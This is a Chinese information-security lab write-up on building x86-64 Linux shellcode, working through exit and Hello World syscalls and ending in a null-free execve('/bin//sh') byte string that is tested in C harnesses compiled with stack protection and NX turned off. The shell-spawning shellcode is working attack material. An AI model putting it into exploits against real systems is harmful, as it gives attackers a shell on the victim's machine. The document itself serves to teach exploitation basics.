大数跨境
0
0

信息安全技术 实验四 shellcode构造

信息安全技术 实验四 shellcode构造 豆豆咨询
2019-12-24
1
导读:实验目的掌握shellcode的构造方法,使得能够适应在不同操作系统环境。
  • 实验目的

掌握shellcode的构造方法,使得能够适应在不同操作系统环境。

  • 实验原理

请参照信息安全技术实验四PWN中的shellcode基础知识及构造原理

  • 实验步骤

1、书写syscall系统调用exit 0的shellcode。

2、调用syscall打印Hello World。

3、书写execve的shellcode。

每项内容基本包括如下步骤:

I、  书写shellcode的C语言代码,编译shellcode的C语言代码,测试是否获得shell。

II、  如果未获得shell,执行二进制文件,采用objdump、gdb、strace工具查看、分析和调试二进制代码。

III、  采用gdb分析调试二进制,找出原因。方法如下:1)采用objdup查看使用C语言代码的获取shellcode的二进制代码;2)使用gdb跟踪调试直接书写shellcode的二进制代码。

  • 实验内容

1、书写syscall系统调用exit0的shellcode。

第一步、书写exit.asm

文件如下:

   global _start

   section .text

_start:

   mov rax,60  ;sys_exit的系统调用编号为60

   xor rdi,rdi   ;exit 0

syscall

第二步、生成二进制文件

命令:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ nasm -f elf64 exit.nasm && ld -o exit exit.o

生成exit二进制文件。

第三步、调试二进制查看代码

命令:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q exit

Reading symbolsfrom exit...(no debugging symbols found)...done.

(gdb) disas0x400080

Dump ofassembler code for function _start:

   0x0000000000400080 <+0>:mov   $0x3c,%eax

   0x0000000000400085 <+5>:xor   %rdi,%rdi

   0x0000000000400088 <+8>:syscall

第四步、把二进制文件到处txt文件,并查看命令的16进制代码

命令:

objdump -d exit> exit.txt

cat exit.txt

exit:     文件格式 elf64-x86-64

Disassembly ofsection .text:

0000000000400080<_start>:

  400080:      b83c 00 00 00       mov    $0x3c,%eax

  400085:      4831 ff             xor    %rdi,%rdi

  400088:      0f05                       syscall

第五步、分析汇编语言和生成二进制文件的区别

我们看到汇编语言和二进制文件的区别在于:

汇编语言:mov rax,60  ;sys_exit的系统调用编号为60

二进制:400080:  b8 3c 00 00 00       mov    $0x3c,%eax

分析:由于存在\x00,我们需要去掉\x00。我们看到分别赋值了两个不同的寄存器,rax和eax,这两个寄存器之间的关系如下:

|63..32|31..16|15-8|7-0|
              |AH. |AL.|
              |AX.....|
       |EAX............|
|RAX...................|

由于链接之后的二进制文件存在\x00,则mov rax,60可以转换为以下语句:

  mov al,60

转换后,我们再次编译汇编程序exit.nasm编译链接成二进制,转换后的二进制文件如下

exit:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:

 400080:      b0 3c                      mov    $0x3c,%al

 400082:      48 31 ff             xor    %rdi,%rdi

 400085:      0f 05                       syscall

成功实现了去掉\x00。

第六步、书写shellcode代码

书写的shellcodecxh.c文件如下:

#include <stdio.h>

unsigned char shellcode[] ="\xb0\x3c\x48\x31\xff\x0f\x05";

int main(void)

{

   int (*ret)() = (int(*))shellcode;

   ret();

}

我们采用以下命令,对该文件进行编译链接

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -z execstack shellcodecxh.c -oshellcodecxh

执行之后,系统成功实现了exit(0)

第七步、分析汇编语言和生成二进制文件的区别

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodecxh

Reading symbols from shellcodecxh...(no debugging symbolsfound)...done.

(gdb) disas main

Dump of assembler code for function main:

   0x00000000004004d6<+0>:      push   %rbp

   0x00000000004004d7<+1>:      mov    %rsp,%rbp

   0x00000000004004da<+4>:      sub    $0x10,%rsp

   0x00000000004004de<+8>:      movq   $0x601030,-0x8(%rbp)

   0x00000000004004e6<+16>:mov    -0x8(%rbp),%rdx

   0x00000000004004ea<+20>:    mov    $0x0,%eax

   0x00000000004004ef<+25>:     callq  *%rdx

   0x00000000004004f1<+27>:     mov    $0x0,%eax

   0x00000000004004f6<+32>:     leaveq

   0x00000000004004f7<+33>:     retq  

End of assembler dump.

(gdb) disas 0x601030

Dump of assembler code for function shellcode:

   0x0000000000601030<+0>:      mov    $0x3c,%al

   0x0000000000601032<+2>:      xor    %rdi,%rdi

   0x0000000000601035<+5>:      syscall

   0x0000000000601037<+7>:      add    %al,(%rax)

End of assembler dump.

从上面的汇编代码可以看出,main通过 callq调用了0x601030的代码,在0x601030我们看到了syscall 系统调用60

第八步、基于int 0x80的系统调用

1)书写exit_shellcode.nasm文件

   section .text

   global _start

_start:

   mov ebx,0

   mov ax,1

int 0x80

使用命令:nasm -felf64 exit_shellcode.nasm

2)反汇编

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump exit_shellcode -d

exit_shellcode:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:

 400080:      bb 00 00 00 00       mov    $0x0,%ebx

 400085:      66 b8 01 00                 mov    $0x1,%ax

 400089:      cd 80                      int    $0x80

3)去掉\0x00

我们发现在第2步中有很多\0x00,需要去掉。

分析:分别赋值了两个不同的寄存器,eax和ax,这两个寄存器之间的关系如下:

|63..32|31..16|15-8|7-0|
              |AH. |AL.|
              |AX.....|
       |EAX............|
|RAX...................|

mov   $0x1,%ax

则mov ax,1--> mov al,1

首先我们看第一条指令(mov ebx, 0)将0放入ebx中。熟悉汇编的话就会知道,xor指令在操作数相等的情况下返回0,也就是可以在指令里不使用0,但是结果返回0,那么我们就可以用xor来代替mov指令了。mov ebx, 0 --> xor ebx, ebx

4)修改exit_shellcode.nasm文件

   section .text

   global _start

_start:

    xor ebx, ebx

   mov al,1

int 0x80

使用命令:nasm -felf64 exit_shellcode.nasm

5)反汇编

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump exit_shellcode -d

exit_shellcode:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000400080 <_start>:

 400080:      31 db                     xor    %ebx,%ebx

 400082:      b0 01                      mov    $0x1,%al

 400084:      cd 80                      int    $0x80

从以上汇编代码和16进制代码可以看出,\0x00已经成功去掉。

 

6)书写exit_shellcode.nasm汇编代码

   section .text

   global _start

_start:

   xor ebx,ebx

    mov al,1

int 0x80

7)编译链接成二进制文件,执行代码

采用命令nasm -felf64 exit_shellcode.nasm && ld -o exit_shellcode exit_shellcode.o

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./exit_shellcode

8)查看二进制代码

   使用命令:objdump -dexit_shellcode > exit_shellcode.txt

   查看代码:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat exit_shellcode.txt

exit_shellcode:     文件格式 elf64-x86-64

Disassembly ofsection .text:

0000000000400080<_start>:

  400080:      31db                     xor    %ebx,%ebx

  400082:      b001                      mov    $0x1,%al

  400084:      cd80                      int    $0x80

9)书写c代码

#include <stdio.h>

unsigned char shellcode[] ="\x31\xdb\xb0\x01\xcd\x80";

int main(void)

{

   int (*ret)() = (int(*))shellcode;

   ret();

}

10)编译链接执行查看代码

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -o shellcodecxh shellcodecxh.c -zexecstack

shellcodecxh.c:In function ‘main’:

shellcodecxh.c:8:20:warning: initialization from incompatible pointer type[-Wincompatible-pointer-types]

     int (*ret)() = (int(*))shellcode;

                    ^

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodecxh

Reading symbolsfrom shellcodecxh...(no debugging symbols found)...done.

(gdb) disas main

Dump ofassembler code for function main:

   0x00000000004004d6 <+0>:       push  %rbp

   0x00000000004004d7 <+1>:       mov   %rsp,%rbp

   0x00000000004004da <+4>:sub   $0x10,%rsp

   0x00000000004004de <+8>:movq  $0x601030,-0x8(%rbp)

   0x00000000004004e6 <+16>:     mov   -0x8(%rbp),%rdx

   0x00000000004004ea <+20>:     mov   $0x0,%eax

   0x00000000004004ef <+25>:      callq *%rdx

   0x00000000004004f1 <+27>:      mov   $0x0,%eax

   0x00000000004004f6 <+32>:      leaveq

   0x00000000004004f7 <+33>:      retq  

End of assemblerdump.

(gdb) disas0x601030

Dump ofassembler code for function shellcode:

   0x0000000000601030 <+0>:xor   %ebx,%ebx

   0x0000000000601032 <+2>:mov   $0x1,%al

   0x0000000000601034 <+4>:int   $0x80

   0x0000000000601036 <+6>:add   %al,(%rax)

End of assemblerdump.

我们再次看到了int 0x80系统调用。

11)书写另外的c代码

unsigned char shellcode[] ="\x31\xdb\xb0\x01\xcd\x80";

int main(void)

{

   int *ret;

   ret = (int *)&ret + 2;

   (*ret) = (int)shellcode;

}

12)反编译

在反汇编中,并没有发现int、callq、syscall代码,反汇编代码如下:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q shellcodeyunshui

Reading symbols from shellcodeyunshui...(nodebugging symbols found)...done.

(gdb) disas main

Dump of assembler code for function main:

  0x00000000004004d6 <+0>:       push   %rbp

  0x00000000004004d7 <+1>:       mov    %rsp,%rbp

  0x00000000004004da <+4>:lea    -0x8(%rbp),%rax

  0x00000000004004de <+8>:add    $0x8,%rax

  0x00000000004004e2 <+12>:     mov    %rax,-0x8(%rbp)

  0x00000000004004e6 <+16>:     mov    -0x8(%rbp),%rax

  0x00000000004004ea <+20>:     mov    $0x601030,%edx

  0x00000000004004ef <+25>:      mov    %edx,(%rax)

  0x00000000004004f1 <+27>:      mov    $0x0,%eax

  0x00000000004004f6 <+32>:      pop    %rbp

  0x00000000004004f7 <+33>:      retq  

End of assembler dump.

 

我们用strace ./shellyunshui,可以看到exit(0),具体命令和消息如下:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ strace ./shellyunshui

execve("./shellyunshui",["./shellyunshui"], [/* 60 vars */]) = 0

brk(NULL)                               = 0x1c67000

access("/etc/ld.so.nohwcap",F_OK)      = -1 ENOENT (No such file ordirectory)

access("/etc/ld.so.preload",R_OK)      = -1 ENOENT (No such file ordirectory)

open("/etc/ld.so.cache",O_RDONLY|O_CLOEXEC) = 3

fstat(3, {st_mode=S_IFREG|0644,st_size=98050, ...}) = 0

mmap(NULL, 98050, PROT_READ, MAP_PRIVATE,3, 0) = 0x7f1e4d98f000

close(3)                                = 0

access("/etc/ld.so.nohwcap",F_OK)      = -1 ENOENT (No such file ordirectory)

open("/lib/x86_64-linux-gnu/libc.so.6",O_RDONLY|O_CLOEXEC) = 3

read(3,"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...,832) = 832

fstat(3, {st_mode=S_IFREG|0755,st_size=1868984, ...}) = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98e000

mmap(NULL, 3971488, PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f1e4d3b8000

mprotect(0x7f1e4d578000, 2097152,PROT_NONE) = 0

mmap(0x7f1e4d778000, 24576,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000) =0x7f1e4d778000

mmap(0x7f1e4d77e000, 14752,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =0x7f1e4d77e000

close(3)                                = 0

mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98d000

mmap(NULL, 4096, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f1e4d98c000

arch_prctl(ARCH_SET_FS, 0x7f1e4d98d700) = 0

mprotect(0x7f1e4d778000, 16384, PROT_READ)= 0

mprotect(0x600000, 4096, PROT_READ)     = 0

mprotect(0x7f1e4d9a7000, 4096, PROT_READ) =0

munmap(0x7f1e4d98f000, 98050)           = 0

exit_group(0)                           = ?

+++ exited with 0 +++

2、调用syscall打印HelloWorld

第一步、编写汇编代码foo.nasm

文件如下:

    global _start

    section .text

_start:

    mov rax,1

    mov rdi,1

    mov rsi,msg

    mov rdx,msglen

    syscall

    mov rax,60

    xor rdi,rdi

    syscall

    section .data

msg:db"Hello,world!",10

msglen:equ $-msg

第二步、编译、链接、执行、反汇编

使用命令:nasm-f elf64 foo.nasm && ld -o foo foo.o,生成

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb -q foo

Readingsymbols from foo...(no debugging symbols found)...done.

(gdb)disas main

没有符号表被读取。请使用 "file" 命令。

(gdb)disas _start

Dump ofassembler code for function _start:

   0x00000000004000b0 <+0>:       mov   $0x1,%eax

   0x00000000004000b5 <+5>:       mov   $0x1,%edi

   0x00000000004000ba <+10>:     movabs $0x6000d8,%rsi

   0x00000000004000c4 <+20>:     mov   $0xd,%edx

   0x00000000004000c9 <+25>:     syscall

   0x00000000004000cb <+27>:     mov   $0x3c,%eax

   0x00000000004000d0 <+32>:   xor   %rdi,%rdi

   0x00000000004000d3 <+35>:     syscall

End of assembler dump.

 

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ nasm -f elf64 foo.nasm && ld -o foo foo.o

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./foo

Hello,world!

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump -d foo > foo.txt

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat foo.txt

foo:     文件格式 elf64-x86-64

Disassemblyof section .text:

00000000004000b0<_start>:

  4000b0:     b801 00 00 00       mov    $0x1,%eax

  4000b5:     bf01 00 00 00       mov    $0x1,%edi

  4000ba:      48be d8 00 60 00 00 movabs $0x6000d8,%rsi

  4000c1:      0000 00

  4000c4:      ba0d 00 00 00       mov    $0xd,%edx

  4000c9:      0f05                       syscall

  4000cb:      b83c 00 00 00       mov    $0x3c,%eax

  4000d0:     4831 ff             xor    %rdi,%rdi

  4000d3:     0f 05                       syscall

第三步、思考题

      如何去掉\x00?书写c语言程序,编译、链接、反编译后查看代码,是否通过

3、书写execve的shellcode

第一步、书写c语言程序

书写retsh.c如下:

#include<unistd.h>

#include<stdlib.h>

char*buf[]={"/bin/sh",NULL};

voidmain()

{

    execve("/bin/sh",buf,0);

    exit(0);

}

第二步、编译、链接、执行、反编译

执行如下命令:

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector retsh.c -o retsh -z execstack

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./retsh

$ exit

查看反编译代码:

Dump ofassembler code for function main:

   0x0000000000400566 <+0>:push  %rbp

   0x0000000000400567 <+1>:mov   %rsp,%rbp

   0x000000000040056a <+4>:mov   $0x0,%edx

   0x000000000040056f <+9>:mov   $0x601040,%esi

   0x0000000000400574 <+14>:     mov   $0x400614,%edi

   0x0000000000400579 <+19>:     callq 0x400440 <execve@plt>

   0x000000000040057e <+24>:     mov   $0x0,%edi

   0x0000000000400583 <+29>:     callq 0x400450 <exit@plt>

End of assembler dump.

 

0000000000400566<main>:

  400566:      55                        push   %rbp

  400567:      4889 e5                   mov    %rsp,%rbp

  40056a:      ba00 00 00 00       mov    $0x0,%edx

  40056f:      be40 10 60 00       mov    $0x601040,%esi

  400574:      bf14 06 40 00       mov    $0x400614,%edi

  400579:      e8c2 fe ff ff            callq  400440<execve@plt>

  40057e:      bf00 00 00 00       mov    $0x0,%edi

  400583:      e8c8 fe ff ff            callq  400450<exit@plt>

  400588:      0f1f 84 00 00 00 00 nopl   0x0(%rax,%rax,1)

  40058f:      00

发现只有两个callq,且16进制编码中存在多个\x00。因此,我们直接通过编写c语言,然后编译成二进制,反编译成16进制代码,最后转化为shellcode是有不少难度的。我们转换思路,采用以下方法书写shellcode。

第三步、编写汇编语言

书写汇编代码文件sha.nasm,如下所示:

section.text

    global _start

      _start:

         push rax

         xor rdx,rdx

         xor rsi,rsi

         mov rbx,'/bin//sh'

         push rbx

         push rsp

         pop rdi

         mov al,59

         syscall

注意:sha.nasm中的mov rbx,'/bin//sh',有三个’/’。

第四步、编译、链接、反汇编代码

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb sha -q

Readingsymbols from sha...(no debugging symbols found)...done.

(gdb)disas main

没有符号表被读取。请使用 "file" 命令。

(gdb)disas _start

Dump ofassembler code for function _start:

   0x0000000000400080 <+0>:push  %rax

   0x0000000000400081 <+1>:xor   %rdx,%rdx

   0x0000000000400084 <+4>:xor   %rsi,%rsi

   0x0000000000400087 <+7>:movabs $0x68732f2f6e69622f,%rbx

   0x0000000000400091 <+17>:     push  %rbx

   0x0000000000400092 <+18>:     push  %rsp

   0x0000000000400093 <+19>:     pop   %rdi

   0x0000000000400094 <+20>:     mov   $0x3b,%al

   0x0000000000400096 <+22>:     syscall

End of assembler dump.

 

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ objdump -d ./sha > sha.txt

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ cat sha.txt

./sha:     文件格式 elf64-x86-64

Disassemblyof section .text:

0000000000400080<_start>:

  400080:      50                        push   %rax

  400081:      4831 d2                   xor    %rdx,%rdx

  400084:      4831 f6             xor    %rsi,%rsi

  400087:      48bb 2f 62 69 6e 2f    movabs$0x68732f2f6e69622f,%rbx

  40008e:      2f73 68

  400091:      53                        push   %rbx

  400092:      54                        push   %rsp

  400093:      5f                         pop    %rdi

  400094:      b03b                     mov    $0x3b,%al

  400096:      0f 05                       syscall

第五步、书写c代码,测试shellcode

#include <stdio.h>

unsignedchar shellcode[] ="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

intmain(void)

{

    int (*ret)() = (int(*))shellcode;

    ret();

}

 

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gcc -fno-stack-protector -z execstack shellcodecxh.c -oshellcodecxh

shellcodecxh.c:In function ‘main’:

shellcodecxh.c:8:20:warning: initialization from incompatible pointer type[-Wincompatible-pointer-types]

     int (*ret)() = (int(*))shellcode;

                    ^

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ ./shellcodecxh

$ exit

zhazhah@zhazhah-virtual-machine:~/桌面/pwn$ gdb shellcodecxh -q

Readingsymbols from shellcodecxh...(no debugging symbols found)...done.

(gdb)disas main

Dump ofassembler code for function main:

   0x00000000004004d6 <+0>:       push  %rbp

   0x00000000004004d7 <+1>:       mov   %rsp,%rbp

   0x00000000004004da <+4>:sub   $0x10,%rsp

   0x00000000004004de <+8>:movq  $0x601030,-0x8(%rbp)

   0x00000000004004e6 <+16>:     mov   -0x8(%rbp),%rdx

   0x00000000004004ea <+20>:     mov   $0x0,%eax

   0x00000000004004ef <+25>:      callq *%rdx

   0x00000000004004f1 <+27>:      mov   $0x0,%eax

   0x00000000004004f6 <+32>:      leaveq

   0x00000000004004f7 <+33>:      retq  

End ofassembler dump.

(gdb)disas 0x601030

Dump ofassembler code for function shellcode:

   0x0000000000601030 <+0>:push  %rax

   0x0000000000601031 <+1>:xor   %rdx,%rdx

   0x0000000000601034 <+4>:xor   %rsi,%rsi

   0x0000000000601037 <+7>:movabs $0x68732f2f6e69622f,%rbx

   0x0000000000601041 <+17>:     push  %rbx

   0x0000000000601042 <+18>:     push  %rsp

   0x0000000000601043 <+19>:     pop   %rdi

   0x0000000000601044 <+20>:     mov   $0x3b,%al

   0x0000000000601046 <+22>:     syscall

   0x0000000000601048 <+24>:     add   %al,(%rax)

End of assembler dump.

以上我们看到在main函数中调用函数shellcode,在shellcode中有syscall。

  • 实验结果与讨论

  • 实验思考

1、生成newshell二进制文件,并检测安全机制

1) 采用gcc -fno-stack-protector -z execstack newshell.c-o newshell

  • 检测安全机制checksec newshell

[*]'/home/zhazhah/\xe4\xb8\x8b\xe8\xbd\xbd/newshell'

    Arch:    amd64-64-little

    RELRO:   Partial RELRO

    Stack:   No canary found

    NX:      NX disabled

    PIE:     No PIE (0x400000)

    RWX:     Has RWX segments

注意:

Arch:程序位数

RELRO:开启则无法修改got表

Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过

NX:开启则shellcode无法被执行

PIE:PIE(Position Independent Code)开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址

 


【声明】内容源于网络
0
0
豆豆咨询
提供前沿的信息技术咨询,实用的编程、项目管理方法,优质的专家服务,如PHP、Java、C#、C++、ASP.NET、ThinkPHP、Git、Matlab、图像处理、数据库、云计算、科技论文撰写等。
内容 44
粉丝 0
豆豆咨询 提供前沿的信息技术咨询,实用的编程、项目管理方法,优质的专家服务,如PHP、Java、C#、C++、ASP.NET、ThinkPHP、Git、Matlab、图像处理、数据库、云计算、科技论文撰写等。
总阅读15
粉丝0
内容44